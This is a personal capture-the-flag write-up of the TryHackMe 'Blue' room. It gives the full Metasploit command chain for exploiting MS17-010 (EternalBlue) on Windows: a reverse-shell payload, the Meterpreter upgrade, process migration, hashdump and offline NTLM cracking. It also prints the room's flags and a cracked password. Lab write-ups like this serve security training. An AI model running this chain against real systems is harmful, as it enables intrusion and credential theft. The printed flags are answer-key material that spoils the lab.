

TryHackMe: Blue

Windows Exploitation Notes — MS17-010 (EternalBlue)

PERSONAL LAB WRITEUP · ENUMERATION → EXPLOITATION → POST-EXPLOITATION

Table of Contents

- 1. Part 1 — Exploitation Workflow Overview
- 2. Phase 1: Enumeration
- 3. Phase 2: Finding the Exploit
- 4. Phase 3: Configuring the Exploit
- 5. Phase 4: Exploitation
- 6. Phase 5: Backgrounding the Shell
- 7. Phase 6: Upgrading to Meterpreter
- 8. Phase 7: Using Meterpreter
- 9. Phase 8: Process Enumeration
- 10. Phase 9: Process Migration
- 11. Commands Learned (Part 1)
- 12. Key Concepts Learned
- 13. Part 2 — Full Walkthrough with Credential Access & Flags
- 14. 1. Enumeration
- 15. 2-8. Exploit to Migration
- 16. 9. Dumping Windows Password Hashes
- 17. 10. Understanding the Hashdump
- 18. 11. Cracking the Password Offline
- 19. 12. Finding the Flags
- 20. Meterpreter Commands & Modules Used
- 21. What I Learned
- 22. Room Summary

Part 1 — Windows Exploitation Notes (Workflow Overview)

Objective: This lab introduced a complete Windows exploitation workflow. Unlike previous Linux labs, the target was a vulnerable Windows machine. The goal was not only to exploit the system but also to understand the vulnerability behind one of the most significant cyberattacks in history: MS17-010 (EternalBlue).

Phase 1 — Enumeration

Initial Enumeration

Before exploiting anything, the target was enumerated.

Command used:

```
nmap --script vuln <target-ip>
```

The scan revealed:

Open ports:

- 135/tcp (MSRPC)
- 139/tcp (NetBIOS)
- 445/tcp (SMB)
- 3389/tcp (RDP)
- several dynamic RPC ports

The important finding:

```
smb-vuln-ms17-010
State: VULNERABLE
```

Meaning: the machine is vulnerable to Microsoft's MS17-010 SMB vulnerability.

Room Questions

Open ports below 1000: 135, 139, 445 → Answer: 3

Machine vulnerability: MS17-010

Phase 2 — Finding the Exploit

Started Metasploit:

```
msfconsole
```

Searched for exploit:

```
search ms17-010
```

Results included:

```
exploit/windows/smb/ms17_010_eternalblue
```

This module exploits EternalBlue. Other modules found: ms17_010_psexec, smb_ms17_010 scanner, DoublePulsar modules.

Understanding the Module Path

Segment	Meaning
exploit/	An exploit module
windows/	Targets Windows
smb/	Targets SMB
ms17_010/	Exploits Microsoft security bulletin MS17-010
eternalblue	Specific exploit implementation

Phase 3 — Configuring the Exploit

Selected exploit:

```
use exploit/windows/smb/ms17_010_eternalblue
```

Viewed options:

```
show options
```

Required option: `RHOSTS`

Set target:

```
set RHOSTS <target-ip>
```

Payload Selection

By default Metasploit automatically selected: `windows/x64/meterpreter/reverse_tcp`

The room instead requested changing it to:

```
set payload windows/x64/shell/reverse_tcp
```

Reason: to understand that Exploit ≠ Payload. The exploit abuses the vulnerability. The payload is the code executed after exploitation.

Phase 4 — Exploitation

Executed:

```
run
```

The exploit successfully executed. Received Windows shell:

```
Microsoft Windows [Version 6.1.7601]
C:\Windows\system32>
```

This confirmed successful remote code execution.

Problem Encountered

Initially the exploit repeatedly spawned hundreds of command shell sessions.

Reason: the exploit remained running and kept accepting reverse shell connections.

Resolution: restarted Metasploit and reran the exploit only once. After doing so, only a single stable shell was obtained.

Important lesson: do not repeatedly execute an exploit after successful compromise.

Phase 5 — Backgrounding the Shell

Returned to Metasploit using: `CTRL + Z`. Confirmed: `y`. This preserved the shell session while returning to the msf prompt.

Phase 6 — Upgrading to Meterpreter

Searched:

```
search shell_to_meterpreter
```

Selected module:

```
use post/multi/manage/shell_to_meterpreter
```

Viewed options:

```
show options
```

Required option: `SESSION`

Listed sessions:

```
sessions
```

Example:

```
1 shell x64/windows
```

Selected session:

```
set SESSION 1
```

Executed:

```
run
```

Metasploit started: `exploit/multi/handler` . Payload staged successfully. Meterpreter session created.

Phase 7 — Using Meterpreter

Interacted with Meterpreter:

```
sessions -i 2
```

Verified privileges:

```
getuid
```

Output:

```
NT AUTHORITY\SYSTEM
```

Meaning: the Meterpreter session was running with Windows SYSTEM privileges, which are effectively the highest local privileges available.

Phase 8 — Process Enumeration

Listed running processes:

```
ps
```

Displayed: PID, PPID, Process name, Architecture, User, Executable path.

The room required identifying a stable process running as `NT AUTHORITY\SYSTEM` . Selected:

```
spoolsv.exe  
PID: 1308
```

Reason: stable Windows service suitable for migration.

Phase 9 — Process Migration

Migrated Meterpreter into spoolsv.exe:

```
migrate 1308
```

Output:

```
Migration completed successfully.
```

Meaning: the Meterpreter session no longer ran inside the original exploited process. Instead, it injected itself into a legitimate Windows SYSTEM process.

Benefits:

- More stable session
- Survives termination of the original exploited process
- Harder to notice than remaining attached to the initial shell
- Common post-exploitation technique

Commands Learned

Purpose	Command
Enumeration	<code>nmap --script vuln <target-ip></code>
Search exploit	<code>search ms17-010</code>
Select exploit	<code>use exploit/windows/smb/ms17_010_eternalblue</code>
Show exploit options	<code>show options</code>
Set target	<code>set RHOSTS <target-ip></code>
Change payload	<code>set payload windows/x64/shell/reverse_tcp</code>
Execute exploit	<code>run</code>
Background shell	<code>CTRL + Z</code>
Search Meterpreter upgrade module	<code>search shell_to_meterpreter</code>
Select module	<code>use post/multi/manage/shell_to_meterpreter</code>
List sessions	<code>sessions</code>
Set session	<code>set SESSION 1</code>
Run upgrade	<code>run</code>
Interact with Meterpreter	<code>sessions -i 2</code>
Verify privileges	<code>getuid</code>
List processes	<code>ps</code>
Migrate	<code>migrate 1308</code>

Key Concepts Learned

- Enumeration should always precede exploitation.
- MS17-010 affects SMBv1 on vulnerable Windows systems.
- EternalBlue is the exploit that abuses MS17-010.
- An exploit and a payload are separate components.
- A reverse shell provides basic command execution.
- Meterpreter provides a more powerful post-exploitation environment.
- SYSTEM is the highest local privilege on Windows.
- Meterpreter can upgrade a basic shell into a richer session.
- Process migration moves the payload into a more stable and legitimate Windows process.
- Stable SYSTEM processes such as `spoolsv.exe` are common migration targets during post-exploitation.

Current Progress (as of Part 1)

Completed: Windows enumeration, vulnerability identification, EternalBlue exploit selection, exploit configuration, successful exploitation, reverse shell access, shell backgrounding, shell-to-Meterpreter upgrade, SYSTEM privilege verification, process enumeration, successful Meterpreter migration into a stable SYSTEM process.

Next phase: continue with the remaining post-exploitation tasks in the Blue room (privilege verification, credential-related tasks, and flag retrieval) — covered in Part 2 below.

Part 2 — Full Walkthrough with Credential Access & Flags

Objective: Identify a vulnerable Windows machine, exploit the MS17-010 (EternalBlue) vulnerability, obtain SYSTEM privileges, upgrade to a Meterpreter session, extract password hashes, crack a password offline, and locate three flags.

1. Enumeration

Started by scanning the target with Nmap's vulnerability scripts:

```
nmap --script vuln <target-ip>
```

Findings:

- The machine was vulnerable to **MS17-010 (EternalBlue)**.
- There were **3 open ports below port 1000**.

This confirmed that the target was susceptible to the EternalBlue SMB vulnerability.

2-8. Exploit Search, Configuration, Exploitation, Meterpreter Upgrade & Migration

Inside Metasploit:

```
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS <target-ip>
set payload windows/x64/shell/reverse_tcp
run
```

Result: successfully exploited the machine and received a Windows command shell:

```
Microsoft Windows [Version 6.1.7601]
C:\Windows\system32>
```

Backgrounded the shell with `Ctrl + Z`, then upgraded it:

```
search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
show options
set SESSION 1
run
```

A new Meterpreter session was created and interacted with via:

```
sessions -i 2
```

Verified privileges:

```
getuid
```

Output:

```
NT AUTHORITY\SYSTEM
```

Listed processes and migrated into a stable SYSTEM process:

```
ps
migrate 1308
```

Result:

```
Migration completed successfully.
```

Why migrate?

- Makes the Meterpreter session more stable.
- Reduces the chance of losing the session if the exploited process terminates.
- Continues running under a legitimate SYSTEM process.

9. Dumping Windows Password Hashes

Executed:

```
hashdump
```

Output (usernames found):

```
Administrator  
Guest  
Jon
```

Important discovery: the non-default user was `Jon`.

10. Understanding the Hashdump

Each line contained: Username, RID, LM Hash, NTLM Hash.

Jon's NTLM hash:

```
ffb43f0de35be4d9917ac0cc8ad57f8d
```

11. Cracking the Password Offline

Created a file:

```
echo 'ffb43f0de35be4d9917ac0cc8ad57f8d' > hash.txt
```

Cracked it using John the Ripper:

```
john --format=NT hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

Recovered password:

```
alqfna22
```

Key takeaway: password cracking is performed offline against stolen password hashes. It does not require communicating with the victim machine after obtaining the hashes.

12. Finding the Flags

Flag 1

Hint: located at the system root.

```
cat C:\flag1.txt
```

```
flag{access_the_machine}
```

Flag 2

Hint: located within the Windows configuration area.

```
cat C:\Windows\System32\config\flag2.txt
```

```
flag{sam_database_elevated_access}
```

Room note: sometimes Windows removes this file, requiring a restart of the target machine, running the exploit again, and checking the location once more.

Flag 3

Hint: located somewhere an administrator might store valuable files.

```
cat C:\Users\Jon\Documents\flag3.txt
```

```
flag{admin_documents_can_be_valuable}
```


Important Meterpreter Commands Used

```
sessions
sessions -i <id>
getuid
ps
migrate <PID>
hashdump
cat <file>
ls <directory>
```

Metasploit Modules Used

Exploit:

```
exploit/windows/smb/ms17_010_eternalblue
```

Post-exploitation:

```
post/multi/manage/shell_to_meterpreter
```

What I Learned

- How to identify the EternalBlue vulnerability using Nmap.
- How to locate and use an appropriate Metasploit exploit.
- How to configure payloads and target options.
- How to obtain an initial Windows command shell.
- How to background a shell without terminating it.
- How to upgrade a standard shell into a Meterpreter session.
- How to verify SYSTEM-level privileges.
- How to inspect running processes and migrate into a stable SYSTEM process.
- How to dump Windows password hashes using Meterpreter.
- How to identify the non-default user account from a hash dump.
- How to crack an NTLM password hash offline using John the Ripper with the RockYou wordlist.
- How to locate important files on a Windows system using Meterpreter.
- How to navigate common Windows directories (`C:\` , `C:\Windows\System32\config` , `C:\Users\Jon\Documents`).

Room Summary

The Blue room demonstrated a complete Windows exploitation workflow:

1. Enumerate the target.
2. Identify the MS17-010 (EternalBlue) vulnerability.
3. Exploit the SMB service.
4. Gain a shell.
5. Upgrade to Meterpreter.
6. Confirm SYSTEM privileges.
7. Migrate into a stable process.
8. Dump password hashes.
9. Crack an NTLM hash offline.
10. Retrieve sensitive files and complete the objective by locating all three flags.

This room provides a practical introduction to a typical post-exploitation workflow after successfully compromising a vulnerable Windows machine.